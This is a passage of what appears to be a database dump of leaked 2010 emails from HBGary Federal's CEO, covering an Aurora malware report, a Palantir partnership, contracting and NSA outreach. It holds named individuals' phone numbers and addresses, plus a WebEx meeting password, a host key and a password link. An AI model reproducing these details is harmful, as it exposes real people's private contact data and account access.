{behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@ngc.com \r\n----------------------------------- \r\n\r\n4807\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n&nbsp;\r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2206,'aaron_hbgary_com/2206.html'),(2058,'2010-02-04','shane.sims@us.pwc.com','/aaron@hbgary.com/new/1297000836.M692739P3547Q2058.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: IR Discussion','What time works for you on Fri?\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 02/04/2010 04:43 PM EST\r\nTo: Shane Sims\r\nSubject: IR Discussion\r\n\r\n\r\n\r\nHi Shane,\r\n\r\nNot sure why I didn\'t get the voicemail.  Can you give me a call at 719.510.8478?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n______________________________________________________________________\r\nThe information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender and delete the material from any computer.  PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n',14074,'aaron_hbgary_com/14074.html'),(2059,'2010-02-05','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000836.M902725P3547Q2059.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: DRAFT of DDR Report for Aurora','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThis report looks excellent so far.&nbsp; In terms of getting Greg\r\nand his team smart on Palantir there are a few ways we can go about this.\r\n\r\n&nbsp;\r\n\r\nGreg is based out of the Sacramento office right?&nbsp; If this is\r\ntrue, Geoff Stowe, our resident cyber expert has offered to zip up there for a\r\nday to sit with him and his team for some hands on training.&nbsp; I think this\r\nmight be the most valuable way to approach this as Geoff can share his\r\nexperience fielding the product as well as getting them smart on all the\r\ncapabilities.\r\n\r\n&nbsp;\r\n\r\nFor yourself, we will have general analyst training in our\r\nMclean office on Feb 11, 23, and 25.&nbsp; You could attend any one of these\r\nclasses.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThoughts on this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 1:54 AM\r\nTo: Matthew Steckman\r\nSubject: Fwd: DRAFT of DDR Report for Aurora\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease keep this close hold as it is in draft. &nbsp;Getting\r\nthis down for Aurora is good but it is more the format and process, the right\r\ndata that is most important so we can do this more quickly for the future\r\nevents.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would love your comments and expertise on this. &nbsp;I\r\nspoke with Chris and John from EndGame today, they have been working on their\r\nown Aurora report. &nbsp;We combine our &nbsp;reports, makes sense. &nbsp;They\r\ndo the C2, we do the Malware. &nbsp;We need to get better at using Palantir,\r\nwatching Greg, Rich, and Myself try to hammer through it without any training\r\nis a bit painful.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI want to include 4 sections right at the front. &nbsp;Social,\r\nC2, Vehicle, Remediation. &nbsp;The essential information to understand the\r\nthreat followed by indepth technical analysis. &nbsp;Best way to digest is\r\nvisual. &nbsp;I see a Palantir chart in the Social, C2, and Vehicle sections.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLets talk about this.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nGreg\r\nHoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n3, 2010 7:08:51 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nPhil\r\nWallisch &lt;phil@hbgary.com&gt;, Rich\r\nCummings &lt;rich@hbgary.com&gt;, Marc\r\nMeunier &lt;mmeunier@verdasys.com&gt;,\r\naaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\npenny@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nDRAFT of DDR Report for Aurora\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe attached word doc is my DRAFT for this report.&nbsp;\r\nAaron, I would love to get Endgames to add some content to the RECENT ACTIVITY\r\nsection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe could have spent several more days tearing this thing\r\napart.&nbsp; Frankly, I need some current C&amp;C servers and droppers.&nbsp;\r\nOur sample is a few weeks old.&nbsp; However, that said, there should be MORE\r\nthan enough information in here to help DuPont understand that Aurora was not\r\non the memory image they sent to us.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nShawn is preparing an innoculation shot, I want to deliver\r\nit to DuPont tommorow.&nbsp; Marc, you might want to insert a short paragraph\r\ndetailing how to use DG to remove that registry key and subsequent file.&nbsp;\r\nI know DG can do this kind of thing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny additional data is welcome.&nbsp; I want to make sure\r\nthat DG is highlighted.&nbsp; The Respond section at the end has plenty of room\r\nto talk about using DG to eliminate that malware off a machine.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13329,'aaron_hbgary_com/13329.html'),(2060,'2010-02-05','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297000837.M109900P3547Q2060.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Can you send me contact info (email)','Send a briefing to my TASC account and I will cc you when I forward to everyone.\r\n\r\nPS - told Ted this plan...\r\n\r\n\r\nOn 2/4/10, Aaron Barr  wrote:\r\n> For the people that attended our brief the other day?\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',13942,'aaron_hbgary_com/13942.html'),(2061,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000840.M327557P3547Q2062.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Palantir training','Greg,\r\n\r\nPalantir wants to send their lead cyber guy to your facility for\r\ntraining.  When would be a good time/date?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15626,'aaron_hbgary_com/15626.html'),(2062,'2010-02-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000840.M42996P3547Q2061.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Aurora report, DRAFT',' \r\nAaron,\r\n \r\nThis is an updated DRAFT.  I was hoping to get feedback from Endgames by this time.  You indicated they would assist?\r\n \r\n-Greg\r\n',11122,'aaron_hbgary_com/11122.html'),(2063,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000840.M527659P3547Q2063.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Aurora report, DRAFT','Yep.  I hadn\'t sent them the report yet.  Wasn\'t sure you wanted it\r\ndistributed out yet.  Also née to set up the tech discussion first.  I\r\nwill try to set that up for early next week.  Also didn\'t get to\r\nscanning report.  Will try to get that done tonight.  Not enough hours.\r\n\r\n\r\n\r\n From my iPhone\r\n\r\nOn Feb 4, 2010, at 8:37 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Aaron,\r\n>\r\n> This is an updated DRAFT.  I was hoping to get feedback from\r\n> Endgames by this time.  You indicated they would assist?\r\n>\r\n> -Greg\r\n> \r\n',12207,'aaron_hbgary_com/12207.html'),(2064,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000840.M713541P3547Q2064.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Aurora report, DRAFT','Wow this looks great... Good content too.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 4, 2010, at 8:37 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Aaron,\r\n>\r\n> This is an updated DRAFT.  I was hoping to get feedback from\r\n> Endgames by this time.  You indicated they would assist?\r\n>\r\n> -Greg\r\n> \r\n',5371,'aaron_hbgary_com/5371.html'),(2065,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000840.M919724P3547Q2065.eml','\"Ted Vera\" <tedvera@me.com>','Re: Google Asks N.S.A. to Investigate Cyberattacks - NYTimes.com','Absolutely.  I emailed our NSA contacts yesterday to set up meetings\r\nto discuss DDNA.  Waiting for response.  We can bring finished report.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 4, 2010, at 6:09 PM, Ted Vera  wrote:\r\n\r\n> We should exercise our contacts and see if we can help. Share the\r\n> analysis we\'ve started.\r\n>\r\n>\r\n> http://www.nytimes.com/2010/02/05/science/05google.html?partner=rss&emc=rss\r\n>\r\n>\r\n>\r\n',12009,'aaron_hbgary_com/12009.html'),(2066,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000841.M114727P3547Q2066.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Monday','Did u get meeting notice?From my iPhoneOn Feb 4, 2010, at 5:26 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nAaron,\r\n \r\nI am free Monday am.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',2947,'aaron_hbgary_com/2947.html'),(2067,'2010-02-05','\"Ghent, Ralph\" <rdghent@nsa.gov>','/aaron@hbgary.com/new/1297000841.M361567P3547Q2067.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Aaron,\r\nThx for your kind patience.  Sometimes the optempo here is high and good\r\nnew efforts, such as yours, take time to gain traction with the right\r\ncrowd. \r\n\r\nSincerely,\r\nRalph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 4:38 PM\r\nTo: Gipson, Vergle \r\nCc: Ghent, Ralph ; Fraticelli, David ; Boseman, Barry A; Bodman, Jerry\r\nM; Trimm, David A; George, Anthony J; Harley Parkes; Carbin, Jeffery J.;\r\nBrenner, Joel F; McFalls, John ; Ingle, Jeffrey T; Korom, Peggy L;\r\nRaistrick, Nicole ; Meros, Stephen J; Willard, Gerald \r\nSubject: Re: Malware Genome and Attribution\r\n\r\nThank you for the response.  Please let me know when is convenient to\r\nget together for a discussion.  Feel free to give me a call at\r\n719.510.8478.  I am not exactly sure which office you are from, but as a\r\nheads up we recently received a request to set up a demo and discussion\r\nwith the ANO office, David Luber and Katelyn Sprague.  Not sure if we\r\ncan combine discussions or not.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nOn Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n\r\n> Ralph,\r\n> \r\n> 	Thanks for reminding me about this one.\r\n> \r\n> Dave/Barry/Matt -- follow up on this please.\r\n> \r\n> Vergle\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Tuesday, February 02, 2010 7:02 AM\r\n> To: Ghent, Ralph ; Gipson, Vergle\r\n> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n\r\n> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n> Subject: RE: Malware Genome and Attribution\r\n> \r\n> Vergle,\r\n> Reminder of the thread below, and your awareness of the efforts of\r\nAaron\r\n> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n> not seen any response since this was raised in early December.\r\n> \r\n> Also, pls see recent news article below:\r\n> \r\n> \'Cyber Genome Project\': The military scientists want to establish a \r\n> \"Cyber Genome\" project which will allow any digital artifact - a \r\n> document, apiece of malware - to be probed to its very origins.\r\n> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n> Genome Program\" will \"produce revolutionary cyber defense and \r\n> investigatory technologies\".\r\n> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n> \r\n> VR,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Monday, January 11, 2010 3:05 PM\r\n> To: Gipson, Vergle\r\n> Subject: FW: Malware Genome and Attribution\r\n> \r\n> Vergle:\r\n> I mentioned this fellow to you awhile back and emailed you all in V2 \r\n> as to possible interest in engaging him to learn of his efforts (which\r\n\r\n> seem to me to be very closely aligned to the Carnegie-Mellon Malicious\r\n\r\n> Code Catalog efforts).\r\n> \r\n> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was \r\n> holding back on responding til he saw your comments/guidance.\r\n> \r\n> \r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Friday, January 08, 2010 10:23 AM\r\n> To: Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Ralph,\r\n> \r\n> Happy New Year.\r\n> \r\n> I am still very interested to talk to folks there about the Malicious \r\n> Code Catalog and our Malware Genome and Digital DNA if there is \r\n> interest on that side.  As I mentioned we have recently partnered with\r\n\r\n> Palantir and are working on a partnership with Netwitness and maybe 1 \r\n> or 2 other small vendors with complimentary technology.  I think \r\n> something really substantial can be put together.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n> \r\n>> Aaron,\r\n>> Did anyone from the NTOC contact you yet?\r\n>> Respectfully,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Friday, December 04, 2009 2:27 PM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: Malware Genome and Attribution\r\n>> \r\n>> Aaron,\r\n>> Many thanks for the additional info and the opportunity to chat \r\n>> briefly at Leesburg.\r\n>> \r\n>> I have pushed your info to those within my Agency who are working \r\n>> with\r\n> \r\n>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next\r\n\r\n>> week, no one has reached-out to you, pls email me again and I will \r\n>> follow up with them.\r\n>> \r\n>> Sincerely,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>> To: Ghent, Ralph\r\n>> Subject: Malware Genome and Attribution\r\n>> \r\n>> Ralph,\r\n>> \r\n>> Thank you for stepping in and asking about my discussion about \r\n>> Malware\r\n> \r\n>> detection, genomes, and attribution.  I am very new to my current \r\n>> position as CEO of HBGary Federal, prior to this I was the Technical \r\n>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago \r\n>> if we can make headway against attribution I would have said no, not \r\n>> until we have better situational awareness, network characterization,\r\n\r\n>> CND/CNE integration, etc.\r\n>> \r\n>> Then I started to learn about HBGarys Malware Genome database, where \r\n>> they have characterized 3500 traits of malware to date, and are \r\n>> starting to make associations of authorship across malware.  I \r\n>> immediately thought of Palantirs capability to link analysis and had\r\n> an aha moment.\r\n>> But I knew that other capabilities needed to be added if we were \r\n>> seriously going to take a crack at attribution.\r\n>> \r\n>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>> would love to talk with them and combine efforts if appropriate to \r\n>> develop the capability that is needed to help with this challenge.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 301.652.8885 x117\r\n>> 719.510.8478\r\n> \r\n\r\n\r\n\r\n\r\n\r\n',15548,'aaron_hbgary_com/15548.html'),(2068,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000844.M345655P3547Q2068.eml','\"Chris Rouland\" <chris@endgames.us>,\"John Farrell\" <john@endgames.us>','Copy of our report','Hey Guys,\r\n\r\nAttached is a draft copy of our Aurora report.  Let me know what you think and if you want to combine data.  We could co-release a combined report on the threat and then work to develop a framework for doing these more rapidly in the future.\r\n\r\nHaven\'t forgot about the technical discussion.  What days are good for you guys next week?  I got mid-day Monday, Tuesday Afternoon, all day thursday right now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',10597,'aaron_hbgary_com/10597.html'),(2069,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000845.M904608P3547Q2069.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: DRAFT of DDR Report for Aurora','New Version attached.  We are working with Chris and company at EndGames to include their C2 data, should be good.  Greg and the larger team are in Scaramento, so having Geoff go up there were be excellent.\r\n\r\nFor me I think I will shoot for the 23rd.\r\n\r\nThanks,\r\nAaron\r\n\r\nAny insight on running Palantir in a VM?  I can get a hold of a windows box if I need to.\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 8:08 PM, Matthew Steckman wrote:\r\n\r\n> Aaron,\r\n>  \r\n> This report looks excellent so far.  In terms of getting Greg and his team smart on Palantir there are a few ways we can go about this.\r\n>  \r\n> Greg is based out of the Sacramento office right?  If this is true, Geoff Stowe, our resident cyber expert has offered to zip up there for a day to sit with him and his team for some hands on training.  I think this might be the most valuable way to approach this as Geoff can share his experience fielding the product as well as getting them smart on all the capabilities.\r\n>  \r\n> For yourself, we will have general analyst training in our Mclean office on Feb 11, 23, and 25.  You could attend any one of these classes. \r\n>  \r\n> Thoughts on this?\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 04, 2010 1:54 AM\r\n> To: Matthew Steckman\r\n> Subject: Fwd: DRAFT of DDR Report for Aurora\r\n>  \r\n> Matt,\r\n>  \r\n> Please keep this close hold as it is in draft.  Getting this down for Aurora is good but it is more the format and process, the right data that is most important so we can do this more quickly for the future events.\r\n>  \r\n> I would love your comments and expertise on this.  I spoke with Chris and John from EndGame today, they have been working on their own Aurora report.  We combine our  reports, makes sense.  They do the C2, we do the Malware.  We need to get better at using Palantir, watching Greg, Rich, and Myself try to hammer through it without any training is a bit painful.\r\n>  \r\n> I want to include 4 sections right at the front.  Social, C2, Vehicle, Remediation.  The essential information to understand the threat followed by indepth technical analysis.  Best way to digest is visual.  I see a Palantir chart in the Social, C2, and Vehicle sections.\r\n>  \r\n> Lets talk about this.\r\n>  \r\n> Aaron\r\n>  \r\n> Begin forwarded message:\r\n> \r\n> \r\n> From: Greg Hoglund \r\n> Date: February 3, 2010 7:08:51 PM EST\r\n> To: Phil Wallisch , Rich Cummings , Marc Meunier , aaron@hbgary.com\r\n> Cc: penny@hbgary.com\r\n> Subject: DRAFT of DDR Report for Aurora\r\n>  \r\n>  \r\n> The attached word doc is my DRAFT for this report.  Aaron, I would love to get Endgames to add some content to the RECENT ACTIVITY section.\r\n>  \r\n> We could have spent several more days tearing this thing apart.  Frankly, I need some current C&C servers and droppers.  Our sample is a few weeks old.  However, that said, there should be MORE than enough information in here to help DuPont understand that Aurora was not on the memory image they sent to us.\r\n>  \r\n> Shawn is preparing an innoculation shot, I want to deliver it to DuPont tommorow.  Marc, you might want to insert a short paragraph detailing how to use DG to remove that registry key and subsequent file.  I know DG can do this kind of thing.\r\n>  \r\n> Any additional data is welcome.  I want to make sure that DG is highlighted.  The Respond section at the end has plenty of room to talk about using DG to eliminate that malware off a machine.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3416,'aaron_hbgary_com/3416.html'),(2070,'2010-02-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000846.M123895P3547Q2070.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Monday','Aaron,\r\n \r\nI have meeting notice for GD at 11am, but I do not have one for LM at 2pm.\r\n \r\nBob\r\nOn Fri, Feb 5, 2010 at 7:13 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nDid u get meeting notice?From my iPhone\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 5:26 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nI am free Monday am.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',69,'aaron_hbgary_com/69.html'),(2071,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000846.M312093P3547Q2071.eml','\"Ted Vera\" <ted@hbgary.com>','Requsistions','Hey Ted,\r\n\r\nAre the Requisitions out yet?  Looks like HBGary got a Dupont contract yesterday and I think they may want some services work, but it might get subbed to Verdasys or someone else if we don\'t get our offering together.\r\n\r\nGIve me a call when you get a chance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7437,'aaron_hbgary_com/7437.html'),(2072,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000846.M513210P3547Q2072.eml','shane.sims@us.pwc.com','Re: IR Discussion','Call anytime before 11am or after 1pm.\r\n\r\nThanks\r\nAaron\r\n\r\nOn Feb 4, 2010, at 6:31 PM, shane.sims@us.pwc.com wrote:\r\n\r\n> What time works for you on Fri?\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: 02/04/2010 04:43 PM EST\r\n> To: Shane Sims\r\n> Subject: IR Discussion\r\n> \r\n> \r\n> \r\n> Hi Shane,\r\n> \r\n> Not sure why I didn\'t get the voicemail.  Can you give me a call at 719.510.8478?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> ______________________________________________________________________\r\n> The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender and delete the material from any computer.  PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4639,'aaron_hbgary_com/4639.html'),(2073,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000846.M704317P3547Q2073.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Services','I am going to talk with Shane today.  I haven\'t received a phone call yet from your PoC at Foundstone.  Also going to sit down with Phil next week.  We have our initial rates already put together for the different labor categories.  Also have a two requisitions going out today for incident response and malware analysis.\r\n\r\nMantech yesterday mentioned wanting to bring our tools and services into their CERT (DOJ, DIA).\r\n\r\nSo as we discussed first thing is to get a few of the existing service providers on as subs and then work our own labor force as we get them in.  This allows Ted and myself to become proficient at managing IR contracts as well.\r\n\r\nAny information from ISec?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7533,'aaron_hbgary_com/7533.html'),(2074,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000875.M936575P3547Q2074.eml','\"Aaron Barr\" <aaron@hbgary.com>','EndGames Report Images','',13084,'aaron_hbgary_com/13084.html'),(2075,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000898.M774259P3547Q2075.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: EndGames Report Images','Begin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: February 5, 2010 9:24:24 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: EndGames Report Images ',12456,'aaron_hbgary_com/12456.html'),(2076,'2010-02-05','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297000900.M384005P3547Q2076.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <thv31@mac.com>','Re: Google, Vint and Visitors','Aaron, Ted,\r\n\r\n     Yep, Google seems to be taking security especially seriously now -- \r\nnot just technical, but also personnel.  They had security guards at all \r\nthe doors (which all have electronic entry).  Of course the Board of \r\nDirectors was there too, but apparently they are concerned about insider \r\nactivities as well.\r\n\r\n     Let\'s get together once we all dig out here!\r\n\r\n     Just as a head\'s up, I will be leading an imaging project of a \r\nSyriac palimpsest at the Walters Art Museum the last week in Feb and \r\nfirst two weeks of March.  Wanted to let you know I\'ll be busy then, and \r\nalso if either of you are up at NSA then, you\'d be welcome to swing by \r\nthe Walters and check things out.\r\n\r\n     Stay warm!\r\n\r\n         Mike\r\n\r\n\r\nOn 2/4/2010 4:51 PM, Aaron Barr wrote:\r\n> Look at that!  Very cool.\r\n>\r\n> Lots of good news, things moving on our front.  No contracts yet but an immense amount of activity and interest in our capabilities, so just a matter of a little bit of time.\r\n>\r\n> Not sure if you saw that Google has partnered with NSA to help google investigate the Aurora stuff.  Isn\'t that the evil empire teaming with the \"Do No Evil\" company.  Strange.\r\n>\r\n> Maybe we can have lunch again sometime soon and I can fill you in.  Hopefully in the next few months we will have enough secured we can bring you on for some consulting hours.\r\n>\r\n> I had lunch at Panjshir today.\r\n>\r\n> Aaron\r\n>\r\n> On Feb 4, 2010, at 9:27 AM, MB Toth wrote:\r\n>\r\n>    \r\n>> With Google in the news these days, here\'s Vint Cerf chatting with some recent visitors.\r\n>> \r\n>>      \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>    \r\n',6950,'aaron_hbgary_com/6950.html'),(2077,'2010-02-05','messenger@webex.com','/aaron@hbgary.com/new/1297000900.M574609P3547Q2077.eml','aaron@hbgary.com','Your enterprise account information','As requested, here is your enterprise account information for https://hbgary.webex.com:   User Name: Aaron  Password: https://hbgary.webex.com/hbgary/viewPassword.php?UID=9d1909584b5c5f525f091c02&Ticket=405d1660c8dcdd93   -------------------------------------------------------  For assistance  -------------------------------------------------------  If you cannot log in, please contact WebEx Technical Support at https://support.webex.com/support/manage-ticket.html.   WebEx Technical Support  ',9034,'aaron_hbgary_com/9034.html'),(2078,'2010-02-05','messenger@webex.com','/aaron@hbgary.com/new/1297000900.M799689P3547Q2078.eml','aaron@hbgary.com','Meeting scheduled: DARPA Cyber Genome BAA','You are the host for this online meeting.   Topic: DARPA Cyber Genome BAA  Date: Friday, February 5, 2010  Time: 2:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 572 154 947  Meeting Password: genom3  Host Key: 595656 (use this to reclaim host privileges)   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=140157352  2. Log in to your account.  3. Click \"Start Now\".  4. Follow the instructions that appear on your screen.   -------------------------------------------------------  Audio conference information  